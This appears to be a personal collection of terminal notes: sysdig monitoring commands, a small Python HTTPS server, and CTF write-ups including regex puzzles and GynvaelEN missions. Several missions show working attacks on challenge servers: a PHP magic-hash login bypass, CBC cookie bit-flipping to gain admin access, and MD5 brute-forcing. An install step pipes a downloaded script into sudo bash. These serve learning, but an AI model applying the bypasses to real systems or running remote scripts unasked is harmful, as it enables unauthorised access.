# sysdig: System-level exploration tool


Installing
# curl -s https://s3.amazonaws.com/download.draios.com/stable/install-sysdig | sudo bash

Listing chisels
# sysdig -cl

Listing fields to filter
# sysdig -l

Using a chisel
# sysdig -c topprocs_cpu

Writing events to file
# sysdig -z -w tracefile.scap.gz

Reading events from file and use a chisel
# sysdig -z -r tracefile.scap.gz -c topprocs_cpu

Filtering events for a specific process
# sysdig proc.name=sshd

Filtering events for a specific file
# sysdig fd.name=/var/log/auth.log

Filtering events for files that contain /etc
# sysdig fd.name contains /etc
# sysdig evt.args contains /bin/ls
# sysdig fd.ip=1.2.3.4
# sysdig fd.l4proto=udp

Formating the output
# sysdig -p '%evt.arg.path' 'evt.type=chdir and user.name=root'

Information about all chisels
# sysdig -cl | grep -P '^\w' | awk '{print $1}' | grep -v -e Category -e Use | xargs -L 1 sysdig -i

Interesting chisels
# sysdig -c topprocs_cpu
# sysdig -c echo_fds -s 2000 -A proc.name=httpd
# sysdig -c echo_fds -s 2000 -A fd.port=80 and evt.buffer contains GET
# sysdig -c spy_file 'RW /var/log/syslog'
# sysdig -c spy_logs
# sysdig -c spy_syslog
# sysdig -c spy_ip 1.2.3.4
# sysdig -c spy_port 443
# sysdig -c topconns
# sysdig -c topprocs_net
# sysdig -c spy_users 0|1
# sysdig -c lsof
# sysdig -c netstat
# sysdig -c ps
# sysdig -c topfiles_bytes proc.name contains tar
# sysdig -c list_login_shells ncat
# sysdig -c spy_users proc.loginshellid=1234
# sysdig -c stdin -c stdout proc.name=cat

Reference

https://github.com/draios/sysdig/wiki

# SimpleHTTPSServer with letsencrypt certificate


# apt-get update
# apt-get install software-properties-commonadd-apt-repository ppa:certbot/certbotapt-get update
# mkdir webservercd webserver
# apt-get install certbot
# mkdir www
# certbot certonly --webroot -w $PWD/www -d mydomain.org -d www.mydomain.org
# cp /etc/letsencrypt/live/mydomain.org/privkey.pem .
# cp /etc/letsencrypt/live/mydomain.org/fullchain.pem .
# cat privkey.pem fullchain.pem > cert.pem
# cat https-server.py
import BaseHTTPServer, SimpleHTTPServer
import os
import ssl
import sys

port = 443

iface = sys.argv[1]
ipv4 = os.popen('ip addr show ' + iface).read().split('inet ')[1].split('/')[0]

cwd = os.getcwd()
certfile = cwd + '/cert.pem'
wwwdir = cwd + '/www'

os.chdir(wwwdir)

httpd = BaseHTTPServer.HTTPServer((ipv4, port), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile = certfile, server_side = True)
httpd.serve_forever()
# python https-server.py eth0

# HITCON CTF 2017 Quals: Sakura - Reversing


# cat sakura.py
import IPython
import angr
import json
import logging
import r2pipe

#angr.manager.l.setLevel(logging.DEBUG)

fn = './sakura-fdb3c896d8a3029f40a38150b2e30a79'

base  = 0x400000
toFind  = base + 0x110ca
toAvoid = []

r2 = r2pipe.open(filename = fn)
# mov byte [rbp - 0x1e49], 0 == \xc6\x85\xb7\xe1\xff\xff\x00
r2output = json.loads(r2.cmd('/j \\xc6\\x85\\xb7\\xe1\\xff\\xff\\x00'))
for e in r2output:
 toAvoid.append(base + int(e['offset']))

#userInputBuffer = base + 0x2121e0
#afterUserInput = base + 0x110ba
#state = p.factory.blank_state(addr = afterUserInput)
#state.memory.store(userInputBuffer, state.se.BVS('userinput', 400 * 8))
#for i in range(400):
# state.mem[userinput + i].char = state.se.BVS('x' + str(i), 8)

p = angr.Project(fn)
print p.arch
print p.entry
print p.filename
p.factory.block(toFind).pp()
print

state = p.factory.entry_state()

sm = p.factory.simgr(state)
sm.explore(find = toFind, avoid = toAvoid)
found = sm.found[0]
dump = found.posix.dumps(0)
print repr(dump)
IPython.embed()

# python sakura.py

<Arch AMD64 (LE)>
4196128
sakura-fdb3c896d8a3029f40a38150b2e30a79
0x4110ca: lea rdi, qword ptr [rip + 0x2f9]
0x4110d1: mov eax, 0
0x4110d6: call 0x4006e0

'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0092\x00\x00\x00\x0041\x00\x00\x00\x0091\x0017\x00378192\x00\x00638\x004683\x0029618\x00\x0081\x0071\x009837\x00\x00\x00\x0089\x0092\x00\x00\x00\x00936\x00915\x00\x00\x00\x00\x0081\x0012\x00\x00\x008216\x002843\x00\x00\x00\x0031\x0012\x00\x00\x00\x00498\x00931\x0037\x00\x0029341\x00\x00\x003792\x0062\x00192837\x0012\x007128\x00172\x00\x00\x00\x0019\x00\x00\x00\x00\x00\x0092\x00\x00\x00\x0091\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0014\x0065\x00\x00\x00271\x0049\x00\x00\x00\x0041835792\x00\x0089641275\x00125\x0013\x0073\x0091\x00\x0053\x0037\x0076\x0072\x0086\x00\x0086\x00\x00\x0026\x00\x00\x00\x00948\x00512\x00\x00\x0053\x00\x00\x0036\x00\x00\x0057\x0018\x0086\x00\x00\x0052\x00\x00\x0051\x0048\x0049\x00538\x0085\x0069\x00\x0085\x0017863294\x00\x0073615284\x00\x00\x0031\x0074\x00\x00\x00\x00\x00\x0035\x00123\x00'

In [1]: sakura = Popen([fn], stdin = PIPE, stdout = PIPE)
In [2]: flag = sakura.communicate(input = dump)[0]
In [3]: print flag
Out [3]: hitcon{6c0d62189adfd27a12289890d5b89c0dc8098bc976ecc3f6d61ec0429cccae61}

# Pwn2Win 2k17: Baby Regex - Misc


# cat regexbaby_034fa13e17660024b26b6f570aa6b66bba446e2f837c052f012225190387bafa.txt
Open your eyes is all that is needing. The heart lies and the head plays tricks with us, but the eyes see true. Look with your eyes. Hear with your ears. Taste with your mouth. Smell with your nose. Feel with your skin. Then comes the thinking, afterward, and in that way <knowing the truth.
>
Open way to combat the horizon effect is to continue search when an otherwise terminal situation is judged to be particularly dynamic. Such heuristic continuation is sometimes called feedover.

The mind which is created quick to love, is responsive to everything that is pleasing, soon as by pleasure it is awakened into activity. Your apprehensive faculty draws an impression from a real object, and unfolds it within you, so that it makes the mind turn thereto. And if, being turned, it inclines towards it, that inclination is love, for don't say blabla; that is nature, which through pleasure is bound anew within you.

Tune up your circuits, check out your Chips

Because you're going to live a Long Life.
Check the identity card, it shows your code.

Listen to the white noise in your ears - it Fades AWAY.

Watching the sunset on the end of the HIGHWAY ---
City meditation in curving reflections of NEON signs on the Chrome of the Cars.
The WeT Concrete and mirrored Streets recall shows the traffic away,
recalls you to the smell of scratching cloudy sheets.
Billboards and Cholo-Ads above are the unfocused bottle of Time.
Drink it away, FLY to the ORBITAL Fly.
Away to drivin' the ocean of blue-green.
Drivin' away to the ocean of green-blue.
# ipython
> import re
> data = open('regexbaby_034fa13e17660024b26b6f570aa6b66bba446e2f837c052f012225190387bafa.txt').read()
> def check(regex):
... print len(regex)
... print re.findall(regex, data)

# "from "Drivin" until the end of phrase, without using any letter, single quotes or wildcards, and capturing "Drivin'" in a group, and "blue." in another", with max. "16" chars:
> check('(.{7}).+-(.{5})$')
16
[("Drivin'", 'blue.')]

# "(BONUS) What's the name of the big american television channel (current days) that matchs with this regex: .(.)\1", with max. "x" chars:

# "FLY until... Fly", without wildcards or the word "fly" and using backreference", with max. "14" chars:

# "<knowing the truth. >, without using "line break"", with max. "8" chars:
> check('<[^>]+>')
7
['<knowing the truth. \n>']

# "All "Open's", without using that word or [Ope-], and no more than one point", with max. "11" chars:
> check('(?i)(oPEn)')
10
['Open', 'Open']

# "the follow words: "unfolds", "within" (just one time), "makes", "inclines" and "shows" (just one time), without using hyphen, a sequence of letters (two or more) or the words itself", with max. "38" chars:
> check('(?:\s\S{2}d|t)\s([^F]\w{3,7}[n!s])\s')
36
['unfolds', 'within', 'makes', 'inclines', 'shows']

# "Chips" and "code.", and it is only allowed the letter "c" (insensitive)", with max. "15" chars:
> check(' .{32} (.{5})\n')
14
['Chips', 'code.']

# Type the regex that capture: "the only word that repeat itself in the same word, using a group called "a" (and use it!), and the group expression must have a maximum of 3 chars, without using wildcards, plus signal, the word itself or letters different than [Pa]", with max. "16" chars:
> check('(?P<a>..a)(?P=a)')
16
['bla']
# cat baby_regex.py
from pwn import *

qa = {
 'BONUS': 'cnn',
 'knowing the truth': '<[^>]+>',
 'FLY': '(?i)(F.y).+\\1',
 '[Pa]': '(?P<a>..a)(?P=a)',
 '[Ope-]': '(?i)(oPEn)',
 'Drivin': '(.{7}).+-(.{5})$',
 'unfolds': '(?:\s\S{2}d|t)\s([^F]\w{3,7}[n!s])\s',
 'Chips': ' .{32} (.{5})\\n'
}

nqa = len(qa)

host = '200.136.213.148'
port = 5000

correct = 0

while True:
 r = remote(host, port)

 while True:
  q = r.read(1024)
  print q
  if 'CTF-BR' in q: sys.exit(0)
  for k in qa:
   if k in q:
    a = qa[k]
    print 'Sending... ' + a
    r.sendline(a)
    resp = r.readline()
    if 'Nice, next...' in resp:
     correct += 1
     print '[*] OK!', correct
     print
    break
 r.close()

# python baby_regex.py
Type the regex that capture: "Chips" and "code.", and it is only allowed the letter "c" (insensitive)", with max. "15" chars:
Sending...  .{32} (.{5})\n
[*] OK! 1

Type the regex that capture: "<knowing the truth. >, without using "line break"", with max. "8" chars:
Sending... <[^>]+>
[*] OK! 2

Type the regex that capture: "the only word that repeat itself in the same word, using a group called "a" (and use it!), and the group expression must have a maximum of 3 chars, without using wildcards, plus signal, the word itself or letters different than [Pa]", with max. "16" chars:
Sending... (?P<a>..a)(?P=a)
[*] OK! 3

Type the regex that capture: "All "Open's", without using that word or [Ope-], and no more than one point", with max. "11" chars:
Sending... (?i)(oPEn)
[*] OK! 4

Type the regex that capture: "(BONUS) What's the name of the big american television channel (current days) that matchs with this regex: .(.)\1", with max. "x" chars:
Sending... cnn
[*] OK! 5

Type the regex that capture: "from "Drivin" until the end of phrase, without using any letter, single quotes or wildcards, and capturing "Drivin'" in a group, and "blue." in another", with max. "16" chars:
Sending... (.{7}).+-(.{5})$
[*] OK! 6

Type the regex that capture: "the follow words: "unfolds", "within" (just one time), "makes", "inclines" and "shows" (just one time), without using hyphen, a sequence of letters (two or more) or the words itself", with max. "38" chars:
Sending... (?:\s\S{2}d|t)\s([^F]\w{3,7}[n!s])\s
[*] OK! 7

Type the regex that capture: "FLY until... Fly", without wildcards or the word "fly" and using backreference", with max. "14" chars:
Sending... (?i)(F.y).+\1
[*] OK! 8

CTF-BR{Counterintelligence_wants_you!}

References

https://www.regexpal.com
https://www.debuggex.com

# GynvaelEN mission 018


# curl 'http://gynvael.coldwind.pl/c3459750a432b7449b5619e967e4b82d90cfc971_mission018/admin.php?password1=240610708&password2=10932435112'
Welcome back dear admin.
Your flag: I'm not sure this is how equality is supposed to work.

Now try with <a href='superadmin.php'>superadmin.php</a>!
# curl 'http://gynvael.coldwind.pl/c3459750a432b7449b5619e967e4b82d90cfc971_mission018/superadmin.php'
...
if (hash("sha256", $_GET['password']) ==
'0e12345678901234567890123456789012345678901234567890123456789012')
...
_:)

Source

https://www.youtube.com/watch?v=adHOlKKbFXM (2:00:22)

References

https://www.whitehatsec.com/blog/magic-hashes/

# GynvaelEN mission 017


zeros = '\x00'*32

base64.b64encode(zeros)
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA='

Cookie: mission017session=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
ivencrypted.encode('hex') = '927a00302d2e13896de885ece9f3445d2de83b880d2043a6ecc6e8bbb0a831dc'

result = ''
new = '{"access_level":"admin"}'
for i in range(len(new)):
 result += chr(ord(new[i]) ^ ord(ivencrypted[i]))

base64.b64encode(result) == 6VhhU05LYPoyhOCajJ9mZw+JX+VkTmHb

Cookie: mission017session=6VhhU05LYPoyhOCajJ9mZw%2BJX%2BVkTmHb
Decrypted cookie data: {"access_level":"admin"}
Flag: HMAC? What do you mean "HMAC"?

Source

https://www.youtube.com/watch?v=9xGgZUMNl2Y (2:05:00)

References

https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation

# GynvaelEN mission 016


Wav to image using RX-SSTV

Slow-scan TV is a method to transmit an image over radio using frequency modulation.
This is the partial message that contains the image:

? ? R O N
D I Y M A
U Z ? ? ?
B C K P ?
? ? V W X

Y DHXDMW BQLF KDYNV

Manual decryption

Y D = I A
HX  = ??
DM  = AY
W B = ? P
QL  = ??
F K = ? ?
DY  = IM
NV  = RX

I A??AY? P??? ?AIRX ---> I ALWAYS PLAY FAIRX

Source

https://www.youtube.com/watch?v=locDS3uHv_E (2:03:00)

References

https://en.wikipedia.org/wiki/Slow-scan_television

# EkoParty CTF 2017: OnTheWire (300) - Misc



Introduction

We have sniffed some bytes of a transmission. What does it say?
51 91 51 31 51 71 112 31 51 123 91 71 95 127 121 51 112 95 121 121 91 71 112 126 112 112 95 79 121 121 95 51 91 71 112 123 121 126 112 91 112 109 91 71 95 51 121 48 112 121 112 126 95 78 121 51 112 123 112 61

Hint
You will see the flag in a lcd display

Solution

# cat onthewire.py

bytes = [51, 91, 51, 31, 51, 71, 112, 31, 51, 123, 91, 71, 95, 127, 121, 51, 112, 95, 121, 121, 91, 71, 112, 126, 112, 112, 95, 79, 121, 121, 95, 51, 91, 71, 112, 123, 121, 126, 112, 91, 112, 109, 91, 71, 95, 51, 121, 48, 112, 121, 112, 126, 95, 78, 121, 51, 112, 123, 112, 61]

r = ''
table = {}

for b in bytes:
 if hex(b) not in table:
  letter = raw_input(hex(b) + '? ')
  table[hex(b)] = letter
 else:
  letter = table[hex(b)]
 r += letter

print r.decode('hex')

# python onthewire.py
0x33? 4
0x5b? 5
0x1f? b
0x47? f
0x70? 7
0x7b? 9
0x5f? 6
0x7f? 8
0x79? 3
0x7e? 0
0x4f? e
0x6d? 2
0x30? 1
0x4e? c
0x3d? d
EKO{I_h4v3_pwn3d_y0ur_d1spl4y}

Reference

https://en.wikichip.org/wiki/seven-segment_display/representing_letters

# GynvaelEN mission 015


# cat mission_15.py
import hashlib
import itertools
import png
import numpy as np

r = png.Reader(file = open('leak.png'))
(width, height, iterator, info) = r.read()

b = [0] * width

for i in iterator:
 row = i.tolist()
 for i in xrange(0, len(row), 3):
  value = row[i:i + 3]
  if value == [255, 0, 0]:
   b[i / 3] += 1

print ''.join([chr(c) for c in b])

hashes = [
 'e6d9fe6df8fd2a07ca6636729d4a615a',
 '273e97dc41693b152c71715d099a1049',
 'bd014fafb6f235929c73a6e9d5f1e458',
 'ab892a96d92d434432d23429483c0a39',
 'b56a807858d5948a4e4604c117a62c2d'
]

alphabet = ' !ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'

password = [' '] * 5
counter = 0

for result in itertools.product(alphabet, repeat = 5):
 word = ''.join(list(result))
 m = hashlib.md5()
 m.update(word)
 hd = m.hexdigest()
 if hd in hashes:
  pos = hashes.index(hd)
  print pos, word
  password[pos] = word
  counter += 1
  if counter == 5: break

print ''.join(password)

# python mission_15.py
<?php

if (!isset($_GET['password']) || !is_string($_GET['password'])) {
  die("bad password");
}

$p = $_GET['password'];

if (strlen($p) !== 25) {
  die("bad password");
}

if (md5($p) !== 'e66c97b8837d0328f3e5522ebb058f85') {
  die("bad password");
}

// Split the password in five and check the pieces.
// We need to be sure!
$values = array(
  0 => 'e6d9fe6df8fd2a07ca6636729d4a615a',
  5 => '273e97dc41693b152c71715d099a1049',
  10 => 'bd014fafb6f235929c73a6e9d5f1e458',
  15 => 'ab892a96d92d434432d23429483c0a39',
  20 => 'b56a807858d5948a4e4604c117a62c2d'
);

for ($i = 0; $i < 25; $i += 5) {
  if (md5(substr($p, $i, 5)) !== $values[$i]) {
    die("bad password");
  }
}

die("GW!");

2  are
0 Pie c
3 delic
1 harts
4 ious!
Pie charts are delicious!

Source

https://www.youtube.com/watch?v=BQRX3owv2JI (1:57:30)

# GynvaelEN mission 014


# cat mission_14.py
w = 57
h = 25

directions = {
'EAST':  (1, 0),
'NORTH': (0, -1),
'WEST':  (-1, 0),
'SOUTH': (0, 1)
}

# smap[y][x] = '#'
smap = [[' ' for x in range(w)] for y in range(h)]
stack = []

x = 0
y = 9

log  = open('log.txt').read().splitlines()

for line in log:
 if 'Trying' in line:
  d = directions[line.split()[1]]
 elif 'step' in line:
  stack.append((d[0], d[1]))
  x += d[0]
  y += d[1]
  smap[y][x] = '#'
 elif 'back' in line:
  d = stack.pop()
  x -= d[0]
  y -= d[1]

for i in smap: print ''.join(i)

# python mission_14.py

 # # #####  # ########## # # ### ## ####### #######  # #
 # # # # #  #    #    #  # # # ####       # #     ## # #
 ### # # ########## #### # #      # # # ### # ### #  # #
 # #         #    #      # ########## # #   #   #    # #
 # ####### # #  # #### ### #        # # # # ########## #
 #   #   # ###### #  ####  ## ##### #########   #      #
 ### # # # ## # # ##    ####  #  #  #   #   # # ## ## ##
     # # #    #    # ## #  # ##  ###### # #   #  #  ###
 ####### ###########  #### # #   #  #   ######## ####
   #
   #  ##################################################
 #### ##################################################
 #  # ####   ############    ############  ######    ###
 ## # ####  ############      ###########  #####  ##  ##
 #  # ###  ######  #  ##      ###########  #  ##  ##  ##
 # ## ##     #####   ###      ##      ###  #  ######  ##
 #    ##      ##       #      ###########  #  #####  ###
 #### ##      ####   ####     ##      ##  ##  ####  ####
    # ##      ###  #  #####  ###########       ##  #####
 #### ##      ############  ################  ##  ######
 #    ###    ############   ################  ##      ##
 # #  ##################################################
 #######################################################

Source

https://www.youtube.com/watch?v=rhsH-snYkIc (1:55:36)

# GynvaelEN mission 013


# cat parser.py
import sys

def rld(d):
      if '*' in d:
            i = d.index('*')
            c = d[i - 1]
            n = ord(d[i + 1]) - 28
            d = rld(d[:i - 1] + (c * n) + d[i + 2:])
      return d

def vfile(fd, files, line):
      if 'vFile:open' in line:
            next_line = data[i + 1].split('#')[0]
            if 'F-1' not in next_line:
                  name = line.split(':')[2].split(',')[0]
                  num = next_line[1:]
                  fd[num] = name
                  if name not in files:
                        files[name] = []
      elif 'vFile:close' in line:
            num = line.split(':')[2]
            fd[num] = ''
      elif 'vFile:pread' in line:
            num = line.split(':')[2].split(',')[0]
            offset = int('0x' + line.split(':')[2].split(',')[2], 16)
            next_line = data[i + 1].split('#')[0]
            d = rld(''.join(next_line.split(';')[1:]))
            name = fd[num]
            files[name].append({'offset': offset, 'data': d})

def memory(files, line, mem):
      if mem in line:
            offset = int('0x' + line.split(',')[0][1:].replace(mem, ''), 16)
            next_line = data[i + 1].split('#')[0]
            d = rld(next_line).decode('hex')
            files[mem].append({'offset': offset, 'data': d})

def write(files):
      for name in files:
            with open(name + '.bin', 'wb') as f:
                  for reg in files[name]:
                        f.seek(reg['offset'])
                        f.write(reg['data'])
fd = {}
files = {}

fn = sys.argv[1]

with open(fn) as f:
      data = f.read().split('$')

action = sys.argv[2]

if action == 'memory':
      mem = sys.argv[3]
      files[mem] = []

i = 0
while i < len(data):
      line = data[i].split('#')[0]
      if action == 'vfile':
            vfile(fd, files, line)
      elif action == 'memory':
            memory(files, line, mem)
      i += 1

write(files)

# tshark -nr session.pcapng -T fields -e data -qz follow,tcp,raw,3|tail -n +7| tr -d '=\r\n\t'|less|xxd -r -p > follow_tcp_stream3

# python parser.py follow_tcp_stream3 vfile

# ls 2f*
2f6c69622f7838365f36342d6c696e75782d676e752f6c642d322e32342e736f.bin
2f6c696236342f6c642d6c696e75782d7838362d36342e736f2e32.bin
2f6d656469612f73665f425f44524956452f73747265616d2d6c697665636f64696e672f6d697373696f6e732f6d697373696f6e3031335f66696c65732f612e6f7574.bin
2f70726f632f353937392f6d617073.bin
2f70726f632f353937392f706572736f6e616c697479.bin
2f70726f632f353937392f7461736b2f353937392f6d617073.bin
2f70726f632f7379732f6b65726e656c2f72616e646f6d697a655f76615f7370616365.bin

# cat 2f70726f632f353937392f6d617073.bin
555555554000-555555555000 r-xp 00000000 00:2a 5868                       /media/sf_B_DRIVE/stream-livecoding/missions/mission013_files/a.out
555555754000-555555756000 rw-p 00000000 00:2a 5868                       /media/sf_B_DRIVE/stream-livecoding/missions/mission013_files/a.out
7ffff7dd7000-7ffff7dfc000 r-xp 00000000 08:01 14942250                   /lib/x86_64-linux-gnu/ld-2.24.so
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0                          [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffe000 rw-p 00025000 08:01 14942250                   /lib/x86_64-linux-gnu/ld-2.24.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

# python parser.py follow_tcp_stream3 memory 55555555

# r2 55555555.bin
[0x00000000]> s 0x00004831
[0x00004831]> pd 44
            0x00004831      48c785a8feff.  mov qword [rbp - 0x158], 0
        .-> 0x0000483c      488b85a8feff.  mov rax, qword [rbp - 0x158]
        |   0x00004843      483b85b8feff.  cmp rax, qword [rbp - 0x148]
       ,==< 0x0000484a      0f83b9000000   jae 0x4909
       ||   0x00004850      488d95f0feff.  lea rdx, qword [rbp - 0x110]
       ||   0x00004857      488b85a8feff.  mov rax, qword [rbp - 0x158]
       ||   0x0000485e      4801d0         add rax, rdx                ; '('
       ||   0x00004861      0fb600         movzx eax, byte [rax]
       ||   0x00004864      83f05a         xor eax, 0x5a
       ||   0x00004867      89c1           mov ecx, eax
       ||   0x00004869      488d95f0feff.  lea rdx, qword [rbp - 0x110]
       ||   0x00004870      488b85a8feff.  mov rax, qword [rbp - 0x158]
       ||   0x00004877      4801d0         add rax, rdx                ; '('
       ||   0x0000487a      8808           mov byte [rax], cl
       ||   0x0000487c      488d95f0feff.  lea rdx, qword [rbp - 0x110]
       ||   0x00004883      488b85a8feff.  mov rax, qword [rbp - 0x158]
       ||   0x0000488a      4801d0         add rax, rdx                ; '('
       ||   0x0000488d      0fb600         movzx eax, byte [rax]
       ||   0x00004890      8d5063         lea edx, dword [rax + 0x63] ; 0x63 ; 'c'
       ||   0x00004893      488d8df0feff.  lea rcx, qword [rbp - 0x110]
       ||   0x0000489a      488b85a8feff.  mov rax, qword [rbp - 0x158]
       ||   0x000048a1      4801c8         add rax, rcx                ; '&'
       ||   0x000048a4      8810           mov byte [rax], dl
       ||   0x000048a6      488d95f0feff.  lea rdx, qword [rbp - 0x110]
       ||   0x000048ad      488b85a8feff.  mov rax, qword [rbp - 0x158]
       ||   0x000048b4      4801d0         add rax, rdx                ; '('
       ||   0x000048b7      0fb600         movzx eax, byte [rax]
       ||   0x000048ba      83f05a         xor eax, 0x5a
       ||   0x000048bd      89c1           mov ecx, eax
       ||   0x000048bf      488d95f0feff.  lea rdx, qword [rbp - 0x110]
       ||   0x000048c6      488b85a8feff.  mov rax, qword [rbp - 0x158]
       ||   0x000048cd      4801d0         add rax, rdx                ; '('
       ||   0x000048d0      8808           mov byte [rax], cl
       ||   0x000048d2      488d95f0feff.  lea rdx, qword [rbp - 0x110]
       ||   0x000048d9      488b85a8feff.  mov rax, qword [rbp - 0x158]
       ||   0x000048e0      4801d0         add rax, rdx                ; '('
       ||   0x000048e3      0fb600         movzx eax, byte [rax]
       ||   0x000048e6      8d5063         lea edx, dword [rax + 0x63] ; 0x63 ; 'c'
       ||   0x000048e9      488d8df0feff.  lea rcx, qword [rbp - 0x110]
       ||   0x000048f0      488b85a8feff.  mov rax, qword [rbp - 0x158]
       ||   0x000048f7      4801c8         add rax, rcx                ; '&'
       ||   0x000048fa      8810           mov byte [rax], dl
       ||   0x000048fc      488385a8feff.  add qword [rbp - 0x158], 1
       |`=< 0x00004904      e933ffffff     jmp 0x483c
[0x00004831]> s 0x4909
[0x00004909]> pd 58
            0x00004909      c685c0feffff.  mov byte [rbp - 0x140], 0x8e
            0x00004910      c685c1feffff.  mov byte [rbp - 0x13f], 0x32 ; '2'
            0x00004917      c685c2feffff.  mov byte [rbp - 0x13e], 0x2f ; '/'
            0x0000491e      c685c3feffff.  mov byte [rbp - 0x13d], 0x39 ; '9'
            0x00004925      c685c4feffff.  mov byte [rbp - 0x13c], 0xea
            0x0000492c      c685c5feffff.  mov byte [rbp - 0x13b], 0x2d ; '-'
            0x00004933      c685c6feffff.  mov byte [rbp - 0x13a], 0x27 ; '''
            0x0000493a      c685c7feffff.  mov byte [rbp - 0x139], 0x39 ; '9'
            0x00004941      c685c8feffff.  mov byte [rbp - 0x138], 0xea
            0x00004948      c685c9feffff.  mov byte [rbp - 0x137], 0x27 ; '''
            0x0000494f      c685cafeffff.  mov byte [rbp - 0x136], 0xea
            0x00004956      c685cbfeffff.  mov byte [rbp - 0x135], 0x88
            0x0000495d      c685ccfeffff.  mov byte [rbp - 0x134], 0x25 ; '%'
            0x00004964      c685cdfeffff.  mov byte [rbp - 0x133], 0x94
            0x0000496b      c685cefeffff.  mov byte [rbp - 0x132], 0x3b ; ';'
            0x00004972      c685cffeffff.  mov byte [rbp - 0x131], 0x30 ; '0'
            0x00004979      c685d0feffff.  mov byte [rbp - 0x130], 0x39 ; '9'
            0x00004980      c685d1feffff.  mov byte [rbp - 0x12f], 0x2f ; '/'
            0x00004987      c685d2feffff.  mov byte [rbp - 0x12e], 0x29 ; ')'
            0x0000498e      c685d3feffff.  mov byte [rbp - 0x12d], 0x39 ; '9'
            0x00004995      c685d4feffff.  mov byte [rbp - 0x12c], 0xea
            0x0000499c      c685d5feffff.  mov byte [rbp - 0x12b], 0x2e ; '.'
            0x000049a3      c685d6feffff.  mov byte [rbp - 0x12a], 0x27 ; '''
            0x000049aa      c685d7feffff.  mov byte [rbp - 0x129], 0x39 ; '9'
            0x000049b1      c685d8feffff.  mov byte [rbp - 0x128], 0x31 ; '1'
            0x000049b8      c685d9feffff.  mov byte [rbp - 0x127], 0xea
            0x000049bf      c685dafeffff.  mov byte [rbp - 0x126], 0x8f
            0x000049c6      c685dbfeffff.  mov byte [rbp - 0x125], 0xea
            0x000049cd      c685dcfeffff.  mov byte [rbp - 0x124], 0x5d ; ']'
            0x000049d4      c685ddfeffff.  mov byte [rbp - 0x123], 0x2b ; '+'
            0x000049db      c685defeffff.  mov byte [rbp - 0x122], 0x5b ; '['
            0x000049e2      c685dffeffff.  mov byte [rbp - 0x121], 0x39 ; '9'
            0x000049e9      c685e0feffff.  mov byte [rbp - 0x120], 0x39 ; '9'
            0x000049f0      c685e1feffff.  mov byte [rbp - 0x11f], 0xf0
            0x000049f7      48c785b0feff.  mov qword [rbp - 0x150], 0
        .-> 0x00004a02      488b85b0feff.  mov rax, qword [rbp - 0x150]
        |   0x00004a09      483b85b8feff.  cmp rax, qword [rbp - 0x148]
       ,==< 0x00004a10      7349           jae 0x4a5b
       ||   0x00004a12      488d95c0feff.  lea rdx, qword [rbp - 0x140]
       ||   0x00004a19      488b85b0feff.  mov rax, qword [rbp - 0x150]
       ||   0x00004a20      4801d0         add rax, rdx                ; '('
       ||   0x00004a23      0fb610         movzx edx, byte [rax]
       ||   0x00004a26      488d8df0feff.  lea rcx, qword [rbp - 0x110]
       ||   0x00004a2d      488b85b0feff.  mov rax, qword [rbp - 0x150]
       ||   0x00004a34      4801c8         add rax, rcx                ; '&'
       ||   0x00004a37      0fb600         movzx eax, byte [rax]
       ||   0x00004a3a      38c2           cmp dl, al
      ,===< 0x00004a3c      7413           je 0x4a51
      |||   0x00004a3e      488d3dd80000.  lea rdi, qword 0x00004b1d   ; 0x4b1d
      |||   0x00004a45      e8e6fbffff     call 0x4630
      |||   0x00004a4a      b803000000     mov eax, 3
     ,====< 0x00004a4f      eb1b           jmp 0x4a6c
     |`---> 0x00004a51      488385b0feff.  add qword [rbp - 0x150], 1
     | |`=< 0x00004a59      eba7           jmp 0x4a02
     | `--> 0x00004a5b      488d3dc00000.  lea rdi, qword 0x00004b22   ; 0x4b22
     |      0x00004a62      e8c9fbffff     call 0x4630
     |      0x00004a67      b800000000     mov eax, 0
     `----> 0x00004a6c      488b75f8       mov rsi, qword [rbp - 8]

# ipython
In [1]: table = [0x8e, 0x32, 0x2f, 0x39, 0xea, 0x2d, 0x27, 0x39, 0xea, 0x27, 0xea, 0x88, 0x25, 0x94, 0x3b, 0x30, 0x39, 0x2f, 0x29, 0x39, 0xea, 0x2e, 0x27, 0x39, 0x31, 0xea, 0x8f, 0xea, 0x5d, 0x2b, 0x5b, 0x39, 0x39, 0xf0]
   ...: r = ''
   ...: for e in table:
   ...:     r += chr(((((e - 0x63) ^ 0x5a) - 0x63) ^ 0x5a) & 0xff)
   ...: print r
   ...:
This was a FoREnsics task I guess.

Source

https://www.youtube.com/watch?v=7zTtVYjjquA (1:58:10)

Reference

https://sourceware.org/gdb/onlinedocs/gdb/Remote-Protocol.html

# GynvaelEN mission 012


# curl -s http://www.computer-engineering.org/ps2keyboard/scancodes2.html | tr [:upper:] [:lower:] > scan_codes.html
# for i in 12 1b 1c 23 24 29 2c 2d 31 32 35 41 42 43 44 49 4d 52 58 59; do result=`cat scan_codes.html | grep '<tt>' | grep -m1 -B1 "<tt>$i</tt>" | sed 's/<[^>]*>//g' | tr -d ' '| tr -d '\r'`;  key=`echo "$result" | tail -n1`; value=`echo "$result" | head -n1`; echo "0x$key: '$value',"; done
0x12: 'lshft',
0x1b: 's',
0x1c: 'a',
0x23: 'd',
0x24: 'e',
0x29: 'space',
0x2c: 't',
0x2d: 'r',
0x31: 'n',
0x32: 'b',
0x35: 'y',
0x41: ',',
0x42: 'k',
0x43: 'i',
0x44: 'o',
0x49: '.',
0x4d: 'p',
0x52: ''',
0x58: 'caps',
0x59: 'rshft'

# cat keylogger.py
'''
0x58 0xf0 0x58
0x1b 0xf0 0x1b
